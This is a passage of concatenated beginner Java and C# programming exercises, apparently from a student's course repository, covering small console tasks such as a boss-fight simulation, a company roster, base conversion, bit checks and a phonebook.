boolean canMoveLeft = playerCol - 1 >= 0 && playerCol - 1 < spellCol - 1;
if (canMoveLeft) {
playerCol--;
} else {// can`t move and take the damage
if ("Cloud".equals(comand)) {
playerHP -= 3500;
isPoisened = true;
killedBySpell = comand;
} else {//"Eruption".equals(comand)
playerHP -= 6000;
killedBySpell = comand;
}
isPlayerDead = playerHP <= 0;
if (isPlayerDead) {
break;
}
}
}
}
}
}
}
if (isHeiganDead) {
System.out.println("Heigan: Defeated!");
} else {
System.out.printf("Heigan: %.2f%n", heiganHP);
}
if (isPlayerDead) {
if ("Cloud".equals(killedBySpell)) {
killedBySpell = "Plague " + killedBySpell;
}
System.out.println("Player: Killed by " + killedBySpell);
} else {
System.out.println("Player: " + playerHP);
}
System.out.println("Final position: " + playerRow + ", "+ playerCol);
}
}
<file_sep>package pr05_SpeedRacing;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
int carCount = Integer.parseInt(reader.readLine());
List<Car> cars = new ArrayList<>();
for (int i = 0; i < carCount; i++) {
String[] input = reader.readLine().split("\\s+");
String model = input[0];
double fuelAmount = Double.parseDouble(input[1]);
double fuelCost = Double.parseDouble(input[2]);
Car car = new Car(model, fuelAmount, fuelCost);
cars.add(car);
}
while (true) {
String[] input = reader.readLine().split("\\s+");
if (input[0].equals("End")) {
break;
}
String model = input[1];
double distance = Double.parseDouble(input[2]);
cars.stream()
.filter(car -> car.getModel().equals(model))
.forEach(car -> car.calculateTotalDistance(distance));
}
for (Car car : cars) {
System.out.println(car);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace JoinLists
{
class JoinLists
{
static void Main()
{
//string[] input1 = Console.ReadLine().Split(' ');
//string[] input2 = Console.ReadLine().Split(' ');
List<int> sequence1 = Console.ReadLine().Split(' ').Select(int.Parse).ToList();
List<int> sequence2 = Console.ReadLine().Split(' ').Select(int.Parse).ToList();
//sequence1 = sequence1.Distinct().ToList();premahva powtarqshtite se w edin list
//sequence2 = sequence2.Distinct().ToList();
List<int> list = sequence1.Union(sequence2).ToList();
list.Sort();
foreach (int number in list)
{
Console.Write("{0} ", number);
}
//int[] arr = new int[] { 5, 4, 3, 2, 1 };
//List<int> list = new List<int>() { 5, 4, 3, 2, 1 };
////arr.sort
//Array.Sort(arr);
//list.Sort();
}
}
}
<file_sep>import java.util.Scanner;
public class _12_CalculateFactorialOfN {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int num = sc.nextInt();
long factorialOfNum = factorial(num);
System.out.println(factorialOfNum);
sc.close();
}
static long factorial(int number) {
if (number <= 1) {
return 1;
} else {
return number * factorial(number - 1);
}
}
}
<file_sep>import java.util.Scanner;
import java.util.TreeMap;
public class Pr04_CountSymbols {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
TreeMap<Character, Integer> symbolsCount = new TreeMap<>();
String line = sc.nextLine();
for (int i = 0; i < line.length(); i++) {
char character = line.charAt(i);
if (!symbolsCount.containsKey(character)) {
symbolsCount.put(character, 1);
continue;
}
int oldValue = symbolsCount.get(character);
int newValue = oldValue + 1;
symbolsCount.put(character, newValue);
}
for (Character character : symbolsCount.keySet()) {
System.out.printf("%c: %d time/s%n", character, symbolsCount.get(character));
}
}
}
<file_sep>package pr03_OpinionPoll;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) throws IOException {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(System.in))) {
int lineCount = Integer.parseInt(reader.readLine());
List<Person> people = new ArrayList<>();
for (int i = 0; i < lineCount; i++) {
String[] input = reader.readLine().split(" ");
String name = input[0];
int age = Integer.parseInt(input[1]);
Person newOne = new Person(name, age);
people.add(newOne);
}
people.stream()
.filter(person -> person.age > 30)
.sorted((p1, p2) -> p1.name.compareTo(p2.name))
.forEach(person -> System.out.printf("%s - %d%n", person.name, person.age));
}
}
}
<file_sep>package pr06_PrimeChecker;
public class Number {
private Integer number;
private Boolean isPrime;
public Number(Integer number, Boolean isPrime) {
this.number = this.findNextPrime(number);
this.isPrime = this.primeChecker(number);
}
public Integer getNumber() {
return this.number;
}
public Boolean isPrime() {
return this.isPrime;
}
public Boolean primeChecker(Integer number) {
Boolean isPrime = true;
for (int i = 2; i <= Math.sqrt(number); i++) {
if (number % i == 0) {
isPrime = false;
break;
}
}
return isPrime;
}
public Integer findNextPrime(Integer number) {
while (true) {
number++;
if (this.primeChecker(number)) {
return number;
}
}
}
}
<file_sep>package pr04_CompanyRoster;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class Main {
public static void main(String[] args) throws IOException {
try (BufferedReader reader = new BufferedReader(new InputStreamReader(System.in))) {
int lineCount = Integer.parseInt(reader.readLine());
// department salarys
Map<String, List<Double>> salaryes = new HashMap<>();
// department employer
Map<String, List<Employee>> employers = new HashMap<>();
for (int i = 0; i < lineCount; i++) {
String[] input = reader.readLine().split("\\s+");
String name = input[0];
double salary = Double.parseDouble(input[1]);
String position = input[2];
String department = input[3];
if (!salaryes.containsKey(department)) {
salaryes.put(department, new ArrayList<>());
}
if (!employers.containsKey(department)) {
employers.put(department, new ArrayList<>());
}
salaryes.get(department).add(salary);
if (input.length == 4) {
Employee employee = new Employee(name, salary, position, department);
employers.get(department).add(employee);
} else if (input.length == 5) {
if (isInteger(input[4])) {
int age = Integer.parseInt(input[4]);
Employee employee = new Employee(name, salary, position, department, age);
employers.get(department).add(employee);
} else {
String email = input[4];
Employee employee = new Employee(name, salary, position, department, email);
employers.get(department).add(employee);
}
} else {//input.length == 6
String email = input[4];
int age = Integer.parseInt(input[5]);
Employee employee = new Employee(name, salary, position, department, email, age);
employers.get(department).add(employee);
}
}
String bestDepartment = "";
double bestAvarageSalary = Double.MIN_VALUE;
for (String department : salaryes.keySet()) {
double sum = 0;
for (Double salary : salaryes.get(department)) {
sum += salary;
}
double currAvarage = sum / salaryes.get(department).size();
if (currAvarage > bestAvarageSalary) {
bestAvarageSalary = currAvarage;
bestDepartment = department;
}
}
System.out.printf("Highest Average Salary: %s%n", bestDepartment);
employers.get(bestDepartment).stream()
.sorted((emp1, emp2) -> Double.compare(emp2.salary, emp1.salary))
.forEach(emp -> System.out.printf("%s %.2f %s %d%n", emp.name, emp.salary, emp.email, emp.age));
}
}
public static boolean isInteger(String s) {
if (s.isEmpty()) {
return false;
}
for (int i = 0; i < s.length(); i++) {
if (i == 0 && s.charAt(i) == '-') {
if (s.length() == 1) {
return false;
}
continue;
}
if (s.charAt(i) < '0' || s.charAt(i) > '9') {
return false;
}
}
return true;
}
}
<file_sep>import java.util.Scanner;
public class _01RectangleArea {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
// First way
// String[] strArr = scanner.nextLine().split(" ");
// int[] intArr = new int[strArr.length];
// for (int i = 0; i < strArr.length; i++) {
// intArr[i] = Integer.parseInt(strArr[i]);
// }
//
// int a = intArr[0];
// int b = intArr[1];
// Second way
// int a = Integer.parseInt(scanner.next());
// int b = Integer.parseInt(scanner.next());
// Third way
int a = scanner.nextInt();
int b = scanner.nextInt();
long recArea = a * b;
System.out.println(recArea);
scanner.close();
}
}<file_sep>import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Pr01_ReverseString {
public static void main(String[] args) throws IOException {
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringBuilder input = new StringBuilder();
StringBuilder reversed = new StringBuilder();
input.append(br.readLine());
for (int i = input.length() - 1; i >= 0; i--) {
reversed.append(input.charAt(i));
}
System.out.println(reversed);
}
}
<file_sep>package pr03_Ferrari;
public class Ferrari extends Driver implements Car {
private static final String MODEL = "488-Spider";
public Ferrari(String name) {
super(name);
}
@Override
public String useBreaks() {
return "Brakes!";
}
@Override
public String gasPedal() {
return "Zadu6avam sA!";
}
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append(MODEL)
.append("/")
.append(this.useBreaks())
.append("/")
.append(this.gasPedal())
.append("/")
.append(this.getName());
return sb.toString();
}
}
<file_sep>using System;
class SumOfNumbers
{
static void Main()
{
Console.Write("Enter first number: ");
double firstNumber = double.Parse(Console.ReadLine());
Console.Write("Enter second number: ");
double secondNumber = double.Parse(Console.ReadLine());
Console.Write("Enter last number: ");
double lastNumber = double.Parse(Console.ReadLine());
Console.WriteLine("The sum is: {0}",firstNumber + secondNumber + lastNumber);
//double firstNumber;
//double secondNumber;
//double lastNumber;
//if (double.TryParse(Console.ReadLine(), out firstNumber)
// && double.TryParse(Console.ReadLine(), out secondNumber)
// && double.TryParse(Console.ReadLine(), out lastNumber))
//{
// Console.WriteLine("The sum is: {0}", firstNumber + secondNumber + lastNumber);
//}
//else
//{
// Console.WriteLine("Enter a valid number!");
//}
}
}
<file_sep>using System;
class ExtractBitFromInteger
{
static void Main()
{
checked
{
try
{
Console.Write("Enter an integer number: ");
int number = int.Parse(Console.ReadLine());
Console.WriteLine(Convert.ToString(number, 2).PadLeft(16, '0'));
Console.Write("Enter the position of the bit you want to see: ");
int position = int.Parse(Console.ReadLine());
int bitAtPosition = (number & 1 << position) >> position;
Console.WriteLine(bitAtPosition);
}
catch (FormatException e)
{
Console.WriteLine(e.Message);
}
}
}
}
<file_sep>using System;
class RandomNumbersInRange
{
static void Main()
{
int n = int.Parse(Console.ReadLine());
int min = int.Parse(Console.ReadLine());
int max = int.Parse(Console.ReadLine());
Random randomIndex = new Random();
int randomNumber = 0;
for (int i = 0; i < n; i++)
{
randomNumber = randomIndex.Next(min, max + 1);
Console.Write("{0} ", randomNumber);
}
}
}<file_sep>using System;
class CheckBitAtGivenPosition
{
static void Main()
{
checked
{
try
{
Console.Write("Enter an integer number: ");
int number = int.Parse(Console.ReadLine());
Console.WriteLine(Convert.ToString(number, 2).PadLeft(16, '0'));
Console.Write("Enter the index of the bit you want to see: ");
int index = int.Parse(Console.ReadLine());
bool isOne = ((number & (1 << index)) >> index) == 1;
Console.WriteLine(isOne);
}
catch (FormatException e)
{
Console.WriteLine(e.Message);
}
}
}
}
<file_sep>import java.util.Scanner;
import java.util.TreeMap;
public class Pr05_Phonebook {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
// person phone
TreeMap<String, String> phonebook = new TreeMap<>();
String line = sc.nextLine();
while (!"search".equals(line.toLowerCase())) {
String[] input = line.split("-");
phonebook.put(input[0], input[1]);
line = sc.nextLine();
}
String person = sc.nextLine();
while (!"stop".equals(person)) {
if (phonebook.containsKey(person)) {
System.out.printf("%s -> %s%n", person, phonebook.get(person));
} else {
System.out.printf("Contact %s does not exist.%n", person);
}
person = sc.nextLine();
}
}
}
<file_sep>using System;
class CurrencyCheck
{
static void Main()
{
uint rubles = uint.Parse(Console.ReadLine());
uint dollars = uint.Parse(Console.ReadLine());
uint euro = uint.Parse(Console.ReadLine());
uint levaOfer = uint.Parse(Console.ReadLine());
uint levaWithoutOfet = uint.Parse(Console.ReadLine());
double rublesInLeva = (double)rubles / 100 * 3.5;
double dollarsInLeva = dollars * 1.5;
double euroInLeva = euro * 1.95;
double ofer = levaOfer / 2d;
double[] arr = new double[5];
arr[0] = rublesInLeva;
arr[1] = dollarsInLeva;
arr[2] = euroInLeva;
arr[3] = ofer;
arr[4] = levaWithoutOfet;
Array.Sort(arr);
//Array.Reverse(arr);
Console.WriteLine("{0:f2}", arr[0]);
}
}
<file_sep>using System;
class NthDigit
{
static void Main()
{
try
{
Console.Write("Enter an integer number: ");
int number = int.Parse(Console.ReadLine());
Console.Write("Enter n-th digit of the number: ");
int n = int.Parse(Console.ReadLine());
if ((number / (int)Math.Pow(10, (n - 1))) > 0)
{
double nDigit = (int)(number / Math.Pow(10, (n - 1))) % 10;//Math.Pow shte mi wyrne double, no tui kato chisloto i stepenta sus sigurnost sa
//int stoinosta shte e cqlo chislo. Problema e sled towa int/double dawa po golqmoto,t.e. double i shte imam drobna chast
//zatowa kastwam metoda. Zakruglqneto idwa ot int. Stava s Math.Floor v double promenliwa obache!
Console.WriteLine(nDigit);
}
else
{
Console.WriteLine("-");
}
}
catch (FormatException e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>import java.util.Scanner;
public class _06Base7ToDecimal {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String strNumber = scanner.next();
int base7ToDecimalObject = Integer.valueOf(strNumber, 7);
int base7ToDecimalPrimitive = Integer.parseInt(strNumber, 7);
System.out.println(base7ToDecimalObject);
scanner.close();
}
}
<file_sep>using System;
class NumberComparer
{
static void Main()
{
Console.Write("Enter a numbe: ");
double firstNumber = double.Parse(Console.ReadLine());
Console.Write("Enter a number: ");
double secondNumber = double.Parse(Console.ReadLine());
if (firstNumber > secondNumber)
{
Console.WriteLine("Max number is: {0}", firstNumber);
}
else
{
Console.WriteLine("Max number is: {0}", secondNumber);
}
Console.WriteLine("Max number is: {0}", Math.Max(firstNumber, secondNumber));
Console.WriteLine("Max number is: {0}", ((firstNumber + secondNumber) + Math.Abs(firstNumber - secondNumber)) / 2);
Console.WriteLine("Min number is: {0}", ((firstNumber + secondNumber) - Math.Abs(firstNumber - secondNumber)) / 2);//for smaller
Console.WriteLine("Max number is: {0}", firstNumber > secondNumber ? firstNumber : secondNumber);
}
}
<file_sep>import java.util.Scanner;
public class _11_RecursiveBinarySearch {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int searchedNumber = sc.nextInt();
sc.nextLine();
String[] input = sc.nextLine().split(" ");
int[] arr = new int[input.length];
for (int i = 0; i < input.length; i++) {
arr[i] = Integer.parseInt(input[i]);
}
int checkingIndex = (arr.length - 1) / 2;
while (true) {
int numInArr = arr[checkingIndex];
if (searchedNumber > numInArr) {
if (checkingIndex == (arr.length - 1)) {
System.out.println(-1);
break;
}
checkingIndex += (arr.length - checkingIndex) / 2;
} else if (searchedNumber < numInArr) {
if (checkingIndex == 0) {
System.out.println(-1);
break;
}
checkingIndex = checkingIndex / 2;
} else {
System.out.println(checkingIndex);
break;
}
}
sc.close();
}
}
<file_sep>import java.math.BigInteger;
import java.util.Scanner;
public class Pr05_ConvertFromBaseNToBase10 {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int base = sc.nextInt();
String num = sc.next();
int numLenght = num.length();
BigInteger numberInBase = new BigInteger(num);
BigInteger decimalBaseNumber = BigInteger.ZERO;
BigInteger delimiter = BigInteger.ONE;
for (int i = 0; i < numLenght; i++) {
BigInteger digit = numberInBase.divide(delimiter).mod(BigInteger.TEN);
decimalBaseNumber = decimalBaseNumber.add(
digit.multiply(BigInteger.valueOf(base).pow(i)));
delimiter = delimiter.multiply(BigInteger.TEN);
}
System.out.println(decimalBaseNumber);
}
}
<file_sep>using System;
class StringsAndObjects
{
static void Main()
{
string firstWord = "Hello";
string secondWord = "World";
object sentence = firstWord + " " + secondWord; //Object can take all types!
string valueObjectVariable = (string)sentence; //All types can`t take object! Only casting is possibly!
Console.WriteLine(sentence);
}
}
<file_sep>import java.math.BigInteger;
import java.util.Scanner;
public class Pr04_ConvertFromBase10ToBaseN {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
BigInteger base = new BigInteger(sc.next());
BigInteger number = new BigInteger(sc.next());
StringBuilder output = new StringBuilder();
while (number.compareTo(BigInteger.ZERO) > 0) {
output.insert(0, number.mod(base));
//output.append(number.mod(base));
number = number.divide(base);
}
System.out.println(output);
}
}
<file_sep>import java.util.Arrays;
import java.util.Comparator;
import java.util.Scanner;
public class Pr09_CustomComparator {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String[] input = sc.nextLine().split("\\s+");
Integer[] numbers = new Integer[input.length];
for (int i = 0; i < input.length; i++) {
numbers[i] = Integer.parseInt(input[i]);
}
Comparator<Integer> evenFirst = (a, b) -> {
int index = 0;
if (a % 2 == 0 && b % 2 != 0) {
index = -1;
} else if (b % 2 == 0 && a % 2 != 0) {
index = 1;
} else {//return 0 - they are equals
if (a <= b) {
index = -1;
} else {
index = 1;
}
}
return index;
};
Arrays.sort(numbers, evenFirst);
for (int i = 0; i < numbers.length; i++) {
System.out.print(numbers[i] + " ");
}
}
}
<file_sep>using System;
class DivideBy7And5
{
static void Main()
{
try
{
Console.Write("Enter an integer number: ");
int number = int.Parse(Console.ReadLine());
bool isDivide = number % 7 == 0 && number % 5 == 0;
Console.WriteLine(isDivide);
//pri "0" e true, poneje ostatakut ot delenieto na 7 i na 5 e 0!
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>package pr04_Тelephony;
import pr04_Тelephony.interfaces.Browsavable;
import pr04_Тelephony.interfaces.Callavable;
public class Phone implements Callavable, Browsavable {
private static final String MODEL = "Smartphone";
@Override
public void brows(String site) {
if (isValidSite(site)) {
System.out.println("Browsing: " + site + "!");
} else {
System.out.println("Invalid URL!");
}
}
@Override
public void call(String phone) {
if (this.isValidPhone(phone)) {
System.out.println("Calling... " + phone);
} else {
System.out.println("Invalid number!");
}
}
private boolean isValidSite(String site) {
for (int i = 0; i < site.length(); i++) {
if (Character.isDigit(site.charAt(i))) {
return false;
}
}
return true;
}
private boolean isValidPhone(String phone) {
try {
Double.parseDouble(phone);
return true;
} catch (Exception ex) {
return false;
}
}
}
<file_sep>using System;
using System.Globalization;
class BeerTime
{
static void Main()
{
CultureInfo enUS = new CultureInfo("en-US");
DateTime startTime = DateTime.Parse("1:00 PM");
DateTime endTime = DateTime.Parse("3:00 AM");
DateTime time;
bool parsed = DateTime.TryParseExact(Console.ReadLine(), "h:mm tt", enUS, DateTimeStyles.None, out time);
if (parsed)
{
if (time >= startTime || time < endTime)
{
Console.WriteLine("beer time");
}
else
{
Console.WriteLine("non-beer time");
}
}
else
{
Console.WriteLine("invalid time");
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace RemoveNames
{
class RemoveNames
{
static List<string> RemoveRepeatableInLists(List<string> returnedList, List<string> comparingList)
{
for (int i = 0; i < returnedList.Count; i++)
{
for (int j = 0; j < comparingList.Count; j++)
{
if (returnedList[i] == comparingList[j])
{
returnedList.RemoveAt(i);
if (i > 0)
{
i--;
}
j = 0;
}
}
}
return returnedList;
}
static void Main()
{
//string[] input1 = Console.ReadLine().Split(' ');
//string[] input2 = Console.ReadLine().Split(' ');
List<string> names1 = new List<string>(Console.ReadLine().Split(' '));
List<string> names2 = new List<string>(Console.ReadLine().Split(' '));
RemoveRepeatableInLists(names1, names2);
foreach (string name in names1)
{
Console.Write("{0} ", name);
}
Console.WriteLine();
}
}
}
<file_sep>package pr05_PizzaCalories;
import pr05_PizzaCalories.entitiesForPizza.Dough;
import pr05_PizzaCalories.entitiesForPizza.Topping;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
String[] pizzaLine = reader.readLine().split("\\s+");
String[] doughLine = reader.readLine().split("\\s+");
try {
if (Double.parseDouble(pizzaLine[2]) < 1 || Double.parseDouble(pizzaLine[2]) > 10) {
throw new IllegalArgumentException("Number of toppings should be in range [0..10].");
}
Dough dough = new Dough(doughLine[1], doughLine[2], Double.parseDouble(doughLine[3]));
Pizza pizza = new Pizza(pizzaLine[1], dough);
while (true) {
String[] toppingLine = reader.readLine().split("\\s+");
if (toppingLine[0].equals("END")) {
break;
}
Topping topping = new Topping(toppingLine[1], Double.parseDouble(toppingLine[2]));
pizza.addTopping(topping);
}
System.out.printf("%s - %.2f Calories.", pizza.getName(), pizza.getTotalCalories());
} catch (IllegalArgumentException ex) {
System.out.println(ex.getMessage());
}
}
}
<file_sep>using System;
class Program
{
static void Main()
{
try
{
Console.Write("Enter a number: ");
int number = int.Parse(Console.ReadLine());
bool result = number % 9 == 0 || number % 11 == 0 || number % 13 == 0;
Console.WriteLine(result);
}
catch (FormatException e)
{
Console.WriteLine(e.Message);
}
}
}
<file_sep>using System;
class ChessboardGame
{
static void Main()
{
}
}
<file_sep>using System;
class NumbersInIntervalDividableByGivenNumber
{
static void Main()
{
Console.Write("Enter a positive integer number: ");
int num1 = int.Parse(Console.ReadLine());
Console.Write("Enter a positive integer number: ");
int num2 = int.Parse(Console.ReadLine());
Console.Write("Enter divader: ");
int divider = int.Parse(Console.ReadLine());
if (divider != 0)
{
for (int i = Math.Min(num1, num2); i <= Math.Max(num1, num2); i++)
{
if (i % divider == 0)
{
Console.Write("{0}, ", i);
}
else if (divider > Math.Max(num1, num2))
{
Console.WriteLine("No such a number!");
break;
}
}
}
else
{
Console.WriteLine("Can not be divided by zero! Enter valid number!");
}
}
}
<file_sep>import java.util.Scanner;
public class _02TriangleArea {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int pointAX = scanner.nextInt();
int pointAY = scanner.nextInt();
int pointBX = scanner.nextInt();
int pointBY = scanner.nextInt();
int pointCX = scanner.nextInt();
int pointCY = scanner.nextInt();
long firstAddend = pointAX * (pointBY - pointCY);
long secondAddend = pointBX * (pointCY - pointAY);
long thirdAddend = pointCX * (pointAY - pointBY);
double area = Math.abs((firstAddend + secondAddend + thirdAddend) / 2);
System.out.println(Math.round(area));
scanner.close();
}
}
<file_sep>using System;
class DreamItem
{
static void Main()
{
//string[] arr = new string[5]; inicializiraneto na nov masiv prazen
string[] input = Console.ReadLine().Split('\\');
string monthh = input[0];
decimal money = decimal.Parse(input[1]);
int hours = int.Parse(input[2]);
decimal itemPrice = decimal.Parse(input[3]);
int workDays;
if (monthh == "Jan" || monthh == "March" || monthh == "May" || monthh == "July" ||
monthh == "Aug" || monthh == "Oct" || monthh == "Dec")
{
workDays = 31 - 10;
}
else if (monthh == "Apr" || monthh == "June" || monthh == "Sept" || monthh == "Nov")
{
workDays = 30 - 10;
}
else
{
workDays = 28 - 10;
}
decimal heEarn = workDays * money * hours;
if (heEarn > 700)
{
heEarn = heEarn + heEarn * 0.1m;
}
decimal canHeBay;
if (heEarn - itemPrice >= 0)
{
canHeBay = heEarn - itemPrice;
Console.WriteLine("Money left = {0:f2} leva.", canHeBay);
}
else
{
canHeBay = Math.Abs(heEarn - itemPrice);
Console.WriteLine("Not enough money. {0:f2} leva needed.", canHeBay);
}
}
}
<file_sep>using System;
class CalculateDivisionOfFactorials2
{
static void Main()
{
double n = double.Parse(Console.ReadLine());
double k = double.Parse(Console.ReadLine());
double nMinusK = n - k;
double nFactorial = 1;
double kFactorial = 1;
double nMinusKFactorial = 1;
for (int i = 2; i <= n; i++)
{
nFactorial *= i;
if (k == i)
{
kFactorial = nFactorial;
}
if (nMinusK == i)
{
nMinusKFactorial = nFactorial;
}
}
double outPut = nFactorial / (kFactorial * nMinusKFactorial);
Console.WriteLine(outPut);
}
}
<file_sep>using System;
using System.Text;
class PrintTheASCIITable
{
static void Main()
{
char a = 'a';
int b = a;
Console.WriteLine(b);
int c = 97;
char f = (char)c;
Console.WriteLine(f);
Console.WriteLine((char)0x61);
Console.WriteLine("\n\n");
Console.OutputEncoding = Encoding.Unicode;
for (int i = 0; i <= 255; i++)
{
Console.WriteLine("{0} --> {1}", i, (char)i);
//char k = (char)i;
//Console.WriteLine(k);
}
}
}
<file_sep>import java.util.Scanner;
public class _04_LongestIncreasingSequence {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String[] inputLine = sc.nextLine().split(" ");
int[] numbers = new int[inputLine.length];
for (int i = 0; i < inputLine.length; i++) {
numbers[i] = Integer.parseInt(inputLine[i]);
}
int startIndex = 0;
int countOfLongestSeq = 1;
int currentStartIndex = 0;
int currentCounter = 1;
System.out.print(numbers[0] + " ");
for (int i = 0; i < numbers.length - 1; i++) {
int currentNum = numbers[i];
int nextNum = numbers[i + 1];
if (nextNum > currentNum) {
currentCounter++;
// This is for the output
System.out.print(numbers[i + 1] + " ");
} else {
// This is for the next iteration
currentCounter = 1;
currentStartIndex = i + 1;
// This is for the output
System.out.println();
System.out.print(numbers[i + 1] + " ");
}
if (currentCounter > countOfLongestSeq) {
countOfLongestSeq = currentCounter;
startIndex = currentStartIndex;
}
}
System.out.println();
System.out.print("Longest: ");
for (int i = 0; i < countOfLongestSeq; i++) {
System.out.print(numbers[startIndex + i] + " ");
}
sc.close();
}
}
<file_sep>package pr06_GenericCountMethodDouble;
public class Box<T extends Comparable<T>> implements Comparable<Box<T>> {
private T data;
public Box(T data) {
this.setData(data);
}
public T getData() {
return data;
}
private void setData(T data) {
this.data = data;
}
@Override
public String toString() {
return String.format("%s: %s", this.getData().getClass().getName(), this.getData());
}
@Override
public int compareTo(Box<T> box) {
return this.data.compareTo(box.getData());
}
}<file_sep>package pr03_TemperatureConverter;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
while (true) {
String[] input = reader.readLine().split("\\s+");
if (input[0].equals("End")) {
break;
}
Temperature temperature = new Temperature(input[1], Integer.parseInt(input[0]));
if (input[1].equals("Celsius")) {
System.out.printf("%.2f Fahrenheit", Temperature.toFahrenheit());
} else {
System.out.printf("%.2f Celsius", Temperature.toCelsius());
}
System.out.println();
}
}
}
<file_sep>import java.util.ArrayList;
import java.util.Scanner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Pr07_ValidUsernames {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String line = sc.nextLine();
String regex = "\\b(?<=^| |\\\\|\\/|\\(|\\))[a-zA-z]\\w{2,24}\\b";
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(line);
ArrayList<String> users = new ArrayList<>();
while (matcher.find()) {
users.add(matcher.group());
}
long biggestSum = Long.MIN_VALUE;
String firtsUser = "";
String seconUser = "";
for (int i = 0; i < users.size() - 1; i++) {
String currUser = users.get(i);
String nextUser = users.get(i + 1);
long currSum = currUser.length() + nextUser.length();
if (currSum > biggestSum) {
biggestSum = currSum;
firtsUser = currUser;
seconUser = nextUser;
}
}
System.out.println(firtsUser +"\n"+ seconUser);
}
}
<file_sep>import java.util.Scanner;
public class Pr10_UnicodeCharacters {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String line = sc.nextLine();
for (int i = 0; i < line.length(); i++) {
int character = line.charAt(i);
System.out.printf("\\u%04x", character);
}
}
}
<file_sep>using System;
class FirstAndLastName
{
static void Main()
{
Console.WriteLine("Aleksandar");
Console.WriteLine("Angelov");
}
}
<file_sep>import java.util.Arrays;
import java.util.List;
import java.util.Scanner;
import java.util.function.Function;
import java.util.stream.Collectors;
public class Pr08_FindTheSmallestElement {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String[] input = sc.nextLine().split("\\s+");
List<Integer> numbers = Arrays.asList(input)
.stream()
.map(Integer::parseInt)
.collect(Collectors.toList());
Function<List<Integer>, Integer> smallestNumber = list -> {
int min = Integer.MAX_VALUE;
for (int i = 0; i < list.size(); i++) {
if (list.get(i) < min) {
min = list.get(i);
}
}
return min;
};
int minNum = smallestNumber.apply(numbers);
int index = 0;
for (int i = numbers.indexOf(minNum); i < numbers.size() - 1; i++) {
int currNum = numbers.get(i);
int nextNum = numbers.get(i + 1);
if (nextNum <= currNum) {
break;
}
index++;
}
System.out.println(numbers.lastIndexOf(minNum));
}
}
<file_sep>using System;
class OddAndEvenProduct
{
static void Main()
{
string[] array = Console.ReadLine().Split(' ');
int sumEven = 0;
int sumOdd = 0;
for (int i = 0; i < array.Length; i++)
{
int number = int.Parse(array[i]);
if ((i + 1) % 2 == 0)
{
sumEven += number;
}
else
{
sumOdd += number;
}
}
//Prowerqwa koi sa odd i koi ne!!! Ne vzima poziciite odd i even!!!
//foreach (string numbers in array)
//{
// int number = int.Parse(numbers);
// if (number % 2 == 0)
// {
// sumEven += number;
// }
// else
// {
// sumOdd += number;
// }
//}
if (sumOdd == sumEven)
{
Console.WriteLine("yes\nproduct = {0}", sumEven);
}
else
{
Console.WriteLine("no\nodd_nproduct = {0}\neven_nproduct = {1}", sumOdd, sumEven);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
class Integers
{
static void Main()
{
int[] array = new int[10];
Random rnd = new Random();
int sumRandomNumbers = 0;
for (int i = 0; i < array.Length; i++)
{
int randomNumber = rnd.Next(0, 101);
sumRandomNumbers += randomNumber;
Console.Write("{0,5}", randomNumber);
array[i] = sumRandomNumbers;
}
Console.WriteLine();
foreach (int number in array)
{
Console.Write("{0,5}", number);
}
Console.ReadLine();
}
}
<file_sep>import java.util.*;
import java.util.function.Predicate;
public class Pr11_PredicateParty {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String[] input = sc.nextLine().split("\\s+");
List<String> names = new ArrayList<>(Arrays.asList(input));
if (names.size() != 0 && "".equals(names.get(0))) {
System.out.println("Nobody is going to the party!");
return;
}
while (true) {
String line = sc.nextLine();
if ("Party!".equals(line)) {
break;
}
String[] inputs = line.split("\\s+");
String operaton = inputs[0];
String comand = inputs[1];
String checker = inputs[2];
Predicate<String> filter = filterBuilder(comand, checker);
List<String> newNames = new LinkedList<>();
for (int i = 0; i < names.size(); i++) {
String name = names.get(i);
if ("Remove".equals(operaton)) {
if (!filter.test(name)) {
newNames.add(name);
}
} else {
if (filter.test(name)) {
newNames.add(name);
newNames.add(name);
} else {
newNames.add(name);
}
}
}
names = newNames;
}
if (names.size() > 0) {
System.out.println(String.join(", ", names) + " are going to the party!");
} else {
